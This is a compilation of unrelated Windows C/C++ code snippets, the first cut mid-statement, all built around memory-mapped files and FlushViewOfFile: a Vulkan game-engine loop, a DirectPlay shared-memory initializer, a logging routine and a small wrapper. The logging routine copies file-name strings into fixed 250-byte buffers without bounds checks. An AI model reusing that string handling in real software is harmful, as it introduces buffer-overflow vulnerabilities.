VK_STRUCTURE_TYPE_SHADER_MODULE_CREATE_INFO }; shader_module_info.codeSize = file_size; shader_module_info.pCode = (const uint32_t *)file_data; if(vkCreateShaderModule(vulkan.device, &shader_module_info, nullptr, &shader_modules[i]) != VK_SUCCESS) { m_die("game buffer creation failed\ncall to \"vkCreateShaderModule\" failed for shader file %s", file_paths[i]); } } game_buffer_editor_create_info.imgui_vulkan_shaders[0] = shader_modules[0]; game_buffer_editor_create_info.imgui_vulkan_shaders[1] = shader_modules[1]; } game_buffer.editor = memory_arena_allocate<game_buffer_editor>(&game_buffer.memory_arena, 1); *game_buffer.editor = {}; if (!game_buffer_editor_create(&game_buffer_editor_create_info, game_buffer.editor)) { m_die("call to \"game_buffer_editor_create\" failed"); } { uint shared_memory_size = m_megabytes(32); HANDLE shared_memory_mapping = CreateFileMappingA(INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE | SEC_COMMIT, 0, shared_memory_size, m_mpk_import_shared_memory_name); if (!shared_memory_mapping) { m_last_error_str(err_str); m_die("call to \"CreateFileMappingA\" failed\nfile: %s\nerr: %s", m_mpk_import_shared_memory_name, err_str); } void *shared_memory_mapping_ptr = MapViewOfFile(shared_memory_mapping, FILE_MAP_WRITE, 0, 0, shared_memory_size); if (!shared_memory_mapping_ptr) { m_last_error_str(err_str); m_die("call to \"MapViewOfFile\" failed\nfile: %s\nerr: %s", m_mpk_import_shared_memory_name, err_str); } ((mpk_import_shared_memory_header *)shared_memory_mapping_ptr)->total_size = shared_memory_size; ((mpk_import_shared_memory_header *)shared_memory_mapping_ptr)->mpk_size = shared_memory_size - sizeof(struct mpk_import_shared_memory_header); SetLastError(ERROR_SUCCESS); HANDLE shared_memory_semaphore = CreateSemaphore(nullptr, 1, 1, m_mpk_import_shared_memory_semaphore_name); if (!shared_memory_semaphore) { m_last_error_str(err_str); m_die("call to \"CreateSemaphore\" failed\nsemaphore: %s\nerr: %s", m_mpk_import_shared_memory_semaphore_name, err_str); } if (GetLastError() == ERROR_ALREADY_EXISTS) { m_die("call to \"CreateSemaphore\" failed\nsemaphore: %s\nerr: %s", m_mpk_import_shared_memory_semaphore_name, "named semaphore already exist"); } game_buffer_mpk_import_shared_memory_mapping = shared_memory_mapping; game_buffer_mpk_import_shared_memory_mapping_ptr = shared_memory_mapping_ptr; game_buffer_mpk_import_shared_memory_semaphore = shared_memory_semaphore; } { game_buffer_editor_job *new_job = nullptr; if (game_buffer_editor_add_mpk_job(&game_buffer, &new_job)) { mpk_import_command_line cmdl = m_mpk_import_command_line_default; cmdl.job_id = new_job->id; cmdl.import_type = mpk_import_type_fbx; strcpy(cmdl.fbx_file_path, "assets\\models\\simple_man\\simple_man.fbx"); mpk_import_create_process(&cmdl, common_vars.process_group, &memory_arena); } } #endif // EDITOR_ENABLE { char gpk_file_name[] = "assets\\gpks\\example.gpk"; HANDLE gpk_file_handle = CreateFileA(gpk_file_name, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (gpk_file_handle == INVALID_HANDLE_VALUE) { m_last_error_str(err_str); m_die("call to \"CreateFile\" failed\nfile: %s\nerr: %s", gpk_file_name, err_str); } uint file_size = m_megabytes(32); SetFilePointer(gpk_file_handle, file_size, nullptr, FILE_BEGIN); if (!SetEndOfFile(gpk_file_handle)) { m_last_error_str(err_str); m_die("call to \"SetEndOfFile\" failed\nfile: %s\nsize: %d\nerr: %s", gpk_file_name, file_size, err_str); } HANDLE gpk_file_mapping = CreateFileMappingA(gpk_file_handle, nullptr, PAGE_READWRITE, 0, 0, nullptr); if (!gpk_file_mapping) { m_last_error_str(err_str); m_die("call to \"CreateFileMappingA\" failed\nfile: %s\nerr: %s", gpk_file_name, err_str); } void *gpk_file_mapping_ptr = MapViewOfFile(gpk_file_mapping, FILE_MAP_WRITE, 0, 0, file_size); if (!gpk_file_mapping_ptr) { m_last_error_str(err_str); m_die("call to \"MapViewOfFile\" failed\nfile: %s\nerr: %s", gpk_file_name, err_str); } uint gpk_file_initial_state_size = 0; if (!gpk_write_initial_state(gpk_file_mapping_ptr, file_size, &gpk_file_initial_state_size)) { m_die("call to \"gpk_write_initial_state\" failed"); } if (!FlushViewOfFile(gpk_file_mapping_ptr, gpk_file_initial_state_size)) { m_last_error_str(err_str); m_die("call to \"FlushViewOfFile\" failed\nfile: %s\nerr: %s", gpk_file_name, err_str); } game_buffer_gpk_file_handle = gpk_file_handle; game_buffer_gpk_file_mapping = gpk_file_mapping; game_buffer_gpk_file_mapping_ptr = gpk_file_mapping_ptr; } { game_buffer_update_vulkan_swap_chain_image(&game_buffer, &vulkan); game_buffer_viewport = rectangle_fit_into_viewport((float)vulkan.swap_chain_info.imageExtent.width, (float)vulkan.swap_chain_info.imageExtent.height, (float)game_buffer.vulkan_framebuffer_image_width, (float)game_buffer.vulkan_framebuffer_image_height); } } uint64 last_frame_time_microsecs = 0; bool mouse_down_up_same_frame[3] = {}; for (;;) { LARGE_INTEGER frame_begin_performance_count; QueryPerformanceCounter(&frame_begin_performance_count); m_scope_exit( LARGE_INTEGER frame_end_performance_count; QueryPerformanceCounter(&frame_end_performance_count); last_frame_time_microsecs = (frame_end_performance_count.QuadPart - frame_begin_performance_count.QuadPart) * 1000000 / performance_frequency.QuadPart; ); { bool mouse_down_this_frame[3] = {}; for (uint i = 0; i < 3; i += 1) { if (mouse_down_up_same_frame[i]) { mouse_down_up_same_frame[i] = false; #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_up(&game_buffer, i); #endif } } HANDLE iocp = common_vars.io_completion_port; DWORD iocp_num_bytes = 0; ULONG_PTR iocp_completion_key = 0; LPOVERLAPPED iocp_overlapped = nullptr; DWORD iocp_time_out = 0; while (GetQueuedCompletionStatus(iocp, &iocp_num_bytes, &iocp_completion_key, &iocp_overlapped, iocp_time_out) == TRUE) { switch (iocp_completion_key) { case quit_win_main_event : { #ifdef EDITOR_ENABLE ImGui::Shutdown(); #endif ExitThread(0); } break; case window_resize_event : { uint32 new_width = LOWORD((LPARAM)iocp_overlapped); uint32 new_height = HIWORD((LPARAM)iocp_overlapped); if (vulkan.swap_chain_info.imageExtent.width != new_width || vulkan.swap_chain_info.imageExtent.height != new_height) { if (!vulkan_resize_swap_chain_images(&vulkan, new_width, new_height)) { m_die("call to \"vulkan_resize_swap_chain_images\" failed"); } game_buffer_viewport = rectangle_fit_into_viewport((float)vulkan.swap_chain_info.imageExtent.width, (float)vulkan.swap_chain_info.imageExtent.height, (float)game_buffer.vulkan_framebuffer_image_width, (float)game_buffer.vulkan_framebuffer_image_height); } } break; case key_down_event : { } break; case key_up_event : { } break; case mouse_move_event : { #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_move(&game_buffer, game_buffer_viewport, LOWORD((LPARAM)iocp_overlapped), HIWORD((LPARAM)iocp_overlapped)); #endif } break; case mouse_lbutton_down_event : { mouse_down_this_frame[0] = true; #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_down(&game_buffer, 0); #endif } break; case mouse_lbutton_up_event : { if (mouse_down_this_frame[0]) { mouse_down_up_same_frame[0] = true; } else { #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_up(&game_buffer, 0); #endif } } break; case mouse_rbutton_down_event : { mouse_down_this_frame[1] = true; #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_down(&game_buffer, 1); #endif } break; case mouse_rbutton_up_event : { if (mouse_down_this_frame[1]) { mouse_down_up_same_frame[1] = true; } else { #ifdef EDITOR_ENABLE game_buffer_editor_handle_mouse_up(&game_buffer, 1); #endif } } break; case mpk_import_named_pipe_event : { #ifdef EDITOR_ENABLE mpk_import_named_pipe_instance *named_pipe_instance = (mpk_import_named_pipe_instance *)iocp_overlapped; if (named_pipe_instance->connected) { m_printf("got message %d bytes: %s\n", iocp_num_bytes, named_pipe_instance->message.msg); game_buffer_editor_handle_mpk_import_message(&game_buffer, &named_pipe_instance->message); if (named_pipe_instance->message.type == mpk_import_named_pipe_message_type_done) { void *mpk_ptr = ((struct mpk_import_shared_memory_header *)game_buffer_mpk_import_shared_memory_mapping_ptr) + 1; struct mpk_header *mpk_header_ptr = (struct mpk_header *)mpk_ptr; ReleaseSemaphore(game_buffer_mpk_import_shared_memory_semaphore, 1, nullptr); } ReadFile(named_pipe_instance->handle, &named_pipe_instance->message, sizeof(named_pipe_instance->message), nullptr, &named_pipe_instance->overlapped); } else { m_printf("new named pipe instance connected\n"); named_pipe_instance->connected = true; ReadFile(named_pipe_instance->handle, &named_pipe_instance->message, sizeof(named_pipe_instance->message), nullptr, &named_pipe_instance->overlapped); mpk_import_add_named_pipe_instance(&common_vars); } #else m_die("game loop main: received event \"mpk_import_named_pipe_event\", but editor is not enabled"); #endif } break; default : { m_die("game loop main: call to \"GetQueuedCompletionStatus\" returned an invalid event"); } break; } } } #ifdef EDITOR_ENABLE game_buffer.editor->imgui_io->DeltaTime = (float)(last_frame_time_microsecs / 1000000.0); ImGui::NewFrame(); game_buffer_editor_imgui_new_frame(&game_buffer, &vulkan); #endif { VkResult vk_result = {}; vkWaitForFences(vulkan.device, 1, &vulkan.swap_chain_fence, VK_TRUE, UINT64_MAX); vkResetFences(vulkan.device, 1, &vulkan.swap_chain_fence); uint swap_chain_image_index = 0; if ((vk_result = vkAcquireNextImageKHR(vulkan.device, vulkan.swap_chain, UINT64_MAX, vulkan.swap_chain_image_semaphore, VK_NULL_HANDLE, &swap_chain_image_index)) != VK_SUCCESS) { m_die("call to \"vkAcquireNextImageKHR\" failed"); } VkCommandBufferBeginInfo cmd_buffer_begin_info = { VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO }; cmd_buffer_begin_info.flags = VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT; vkBeginCommandBuffer(vulkan.swap_chain_cmd_buffer, &cmd_buffer_begin_info); game_buffer_record_vulkan_commands(&game_buffer, &vulkan); vulkan_record_swap_chain_commands(&vulkan, swap_chain_image_index, game_buffer_viewport); vkEndCommandBuffer(vulkan.swap_chain_cmd_buffer); VkSubmitInfo queue_submit_info = { VK_STRUCTURE_TYPE_SUBMIT_INFO }; queue_submit_info.waitSemaphoreCount = 1; queue_submit_info.pWaitSemaphores = &vulkan.swap_chain_image_semaphore; VkPipelineStageFlags wait_dst_stage_mask = VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT; queue_submit_info.pWaitDstStageMask = &wait_dst_stage_mask; queue_submit_info.commandBufferCount = 1; queue_submit_info.pCommandBuffers = &vulkan.swap_chain_cmd_buffer; queue_submit_info.signalSemaphoreCount = 1; queue_submit_info.pSignalSemaphores = &vulkan.swap_chain_queue_semaphore; if ((vk_result = vkQueueSubmit(vulkan.device_queue, 1, &queue_submit_info, vulkan.swap_chain_fence)) != VK_SUCCESS) { m_die("call to \"vkQueueSubmit\" failed"); } VkPresentInfoKHR device_queue_present_info = { VK_STRUCTURE_TYPE_PRESENT_INFO_KHR }; device_queue_present_info.waitSemaphoreCount = 1; device_queue_present_info.pWaitSemaphores = &vulkan.swap_chain_queue_semaphore; device_queue_present_info.swapchainCount = 1; device_queue_present_info.pSwapchains = &vulkan.swap_chain; device_queue_present_info.pImageIndices = &swap_chain_image_index; if ((vk_result = vkQueuePresentKHR(vulkan.device_queue, &device_queue_present_info)) != VK_SUCCESS) { m_die("call to \"vkQueuePresentKHR\" failed"); } } }
/*************************************************************************** * Called to initialize the global data. This will only be used on the * loading of the dll ***************************************************************************/ BOOL DPLAYX_ConstructData(void) { SECURITY_ATTRIBUTES s_attrib; BOOL bInitializeSharedMemory = FALSE; LPVOID lpDesiredMemoryMapStart = (LPVOID)0x50000000; HANDLE hInformOnStart; TRACE( "DPLAYX dll loaded - construct called\n" ); /* Create a semaphore to block access to DPLAYX global data structs */ s_attrib.bInheritHandle = TRUE; s_attrib.lpSecurityDescriptor = NULL; s_attrib.nLength = sizeof(s_attrib); hDplayxSema = CreateSemaphoreA( &s_attrib, 0, 1, lpszDplayxSemaName ); /* First instance creates the semaphore. Others just use it */ if( GetLastError() == ERROR_SUCCESS ) { TRACE( "Semaphore %p created\n", hDplayxSema ); /* The semaphore creator will also build the shared memory */ bInitializeSharedMemory = TRUE; } else if ( GetLastError() == ERROR_ALREADY_EXISTS ) { TRACE( "Found semaphore handle %p\n", hDplayxSema ); DPLAYX_AcquireSemaphore(); } else { ERR( ": semaphore error %d\n", GetLastError() ); return FALSE; } SetLastError( ERROR_SUCCESS ); hDplayxSharedMem = CreateFileMappingA( INVALID_HANDLE_VALUE, &s_attrib, PAGE_READWRITE | SEC_COMMIT, 0, dwTotalSharedSize, lpszDplayxFileMapping ); if( GetLastError() == ERROR_SUCCESS ) { TRACE( "File mapped %p created\n", hDplayxSharedMem ); } else if ( GetLastError() == ERROR_ALREADY_EXISTS ) { TRACE( "Found FileMapping handle %p\n", hDplayxSharedMem ); } else { ERR( ": unable to create shared memory (%d)\n", GetLastError() ); DPLAYX_ReleaseSemaphore(); return FALSE; } lpSharedStaticData = MapViewOfFileEx( hDplayxSharedMem, FILE_MAP_WRITE, 0, 0, 0, lpDesiredMemoryMapStart ); if( lpSharedStaticData == NULL ) { ERR( ": unable to map static data into process memory space (%d)\n", GetLastError() ); DPLAYX_ReleaseSemaphore(); return FALSE; } else { if( lpDesiredMemoryMapStart == lpSharedStaticData ) { TRACE( "File mapped to %p\n", lpSharedStaticData ); } else { /* Presently the shared data structures use pointers. If the * files are not mapped into the same area, the pointers will no * longer make any sense :( * FIXME: In the future make the shared data structures have some * sort of fixup to make them independent between data spaces. * This will also require a rework of the session data stuff. */ ERR( "File mapped to %p (not %p). Expect failure\n", lpSharedStaticData, lpDesiredMemoryMapStart ); } } /* Dynamic area starts just after the static area */ lpMemArea = (LPVOID)((BYTE*)lpSharedStaticData + dwStaticSharedSize); /* FIXME: Crude hack */ lobbyData = lpSharedStaticData; sessionData = (DPSESSIONDESC2*)((BYTE*)lpSharedStaticData + (dwStaticSharedSize/2)); /* Initialize shared data segments. */ if( bInitializeSharedMemory ) { UINT i; TRACE( "Initializing shared memory\n" ); /* Set all lobbies to be "empty" */ for( i=0; i < numSupportedLobbies; i++ ) { DPLAYX_InitializeLobbyDataEntry( &lobbyData[ i ] ); } /* Set all sessions to be "empty" */ for( i=0; i < numSupportedSessions; i++ ) { sessionData[i].dwSize = 0; } /* Zero out the dynamic area */ ZeroMemory( lpMemArea, dwDynamicSharedSize ); /* Just for fun sync the whole data area */ FlushViewOfFile( lpSharedStaticData, dwTotalSharedSize ); } DPLAYX_ReleaseSemaphore(); /* Everything was created correctly. Signal the lobby client that * we started up correctly */ if( DPLAYX_GetThisLobbyHandles( &hInformOnStart, NULL, NULL, FALSE ) && hInformOnStart ) { BOOL bSuccess; bSuccess = SetEvent( hInformOnStart ); TRACE( "Signalling lobby app start event %p %s\n", hInformOnStart, bSuccess ? "succeed" : "failed" ); /* Close out handle */ DPLAYX_GetThisLobbyHandles( &hInformOnStart, NULL, NULL, TRUE ); } return TRUE; }
long WriteToLog(char *szFileName,char *szMessage) { HANDLE hMutex = NULL; HANDLE hFile = NULL; HANDLE hMMFile = NULL; LPVOID lpMapAddress = NULL; char * lpTraverser = NULL; char szMakeDir[FILE_SIZE]; char szMutex[250]; char szMapName[250]; DWORD nResult = 0; DWORD dwFileSizeLow = 0; DWORD dwFileSizeHigh= 0; DWORD dwSysGran = 0; DWORD dwFileMapStart= 0; DWORD dwBufferSize = 0; DWORD dwFileMapSize = 0; DWORD iViewDelta = 0; DWORD dwMapViewSize = 0; __try{ __try{ if(szMessage == NULL) { return 1; } dwBufferSize = strlen(szMessage); memset(szMutex,0,250); memset(szMapName,0,250); char *szTempPtr = strrchr(szFileName,'\\'); memset(szMakeDir,0,250); if(szTempPtr != NULL) { memcpy(szMakeDir,szFileName,strlen(szFileName) - strlen(szTempPtr)); memcpy(szMutex,(szTempPtr+1),(strlen(szTempPtr)-1)); strcpy(szMapName,szMutex); strcat(szMapName,"_Map\0"); CreateDirectoriesRecursively(szMakeDir); } else { return 1; } hMutex = CreateMutex(NULL,FALSE,szMutex); if(hMutex == NULL) { return 1; } nResult = WaitForSingleObject(hMutex,2*1000); if(WAIT_OBJECT_0 != nResult) { CloseHandle(hMutex); hMutex = NULL; return 1; } hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { ReleaseMutex(hMutex); CloseHandle(hMutex); hMutex = NULL; return 1; } //Get the log file size dwFileSizeLow = GetFileSize(hFile,&dwFileSizeHigh); // Finding the system granuality SYSTEM_INFO Sys_Info; memset(&Sys_Info,0,sizeof(Sys_Info)); GetSystemInfo(&Sys_Info); dwSysGran = Sys_Info.dwAllocationGranularity; dwFileMapStart = (dwFileSizeLow / dwSysGran) * dwSysGran; // Calculate the size of the file mapping view. dwMapViewSize = (dwFileSizeLow % dwSysGran) + dwBufferSize; // How large will the file-mapping object be? dwFileMapSize = dwFileSizeLow + dwBufferSize; iViewDelta = dwFileSizeLow - dwFileMapStart; //Create the file mapping accordingly hMMFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, dwFileSizeHigh, dwFileMapSize, szMapName); if(!hMMFile) { int err = GetLastError(); ReleaseMutex(hMutex); CloseHandle(hMutex); hMutex = NULL; CloseHandle(hFile); hFile = NULL; return 1; } //Map the view of the file lpMapAddress = MapViewOfFile(hMMFile, FILE_MAP_WRITE, dwFileSizeHigh, dwFileMapStart, dwMapViewSize); if(NULL == lpMapAddress) { ReleaseMutex(hMutex); CloseHandle(hMutex); hMutex = NULL; CloseHandle(hFile); hFile = NULL; CloseHandle(hMMFile); hMMFile = NULL; return 1; } //Increment the pointer to the end of file lpTraverser = (TCHAR *) lpMapAddress + iViewDelta; memset(lpTraverser,0,dwBufferSize * sizeof(TCHAR)); _tcsncpy(lpTraverser,szMessage,dwBufferSize); lpTraverser = NULL; FlushViewOfFile(lpMapAddress,dwMapViewSize);//for writting to disk process being fast UnmapViewOfFile(lpMapAddress); CloseHandle(hMMFile); hMMFile = NULL; CloseHandle(hFile); hFile = NULL; ReleaseMutex(hMutex); CloseHandle(hMutex); hMutex = NULL; return 0; } __except(EXCEPTION_EXECUTE_HANDLER) { return 1; } } __finally { if(hMMFile) CloseHandle(hMMFile); hMMFile = NULL; if(hFile) CloseHandle(hFile); hFile = NULL; if(hMutex) { ReleaseMutex(hMutex); CloseHandle(hMutex); } hMutex = NULL; } return 0; }
static inline int flush_view_of_file(void *base_addr, std::size_t numbytes) { return FlushViewOfFile(base_addr, numbytes); }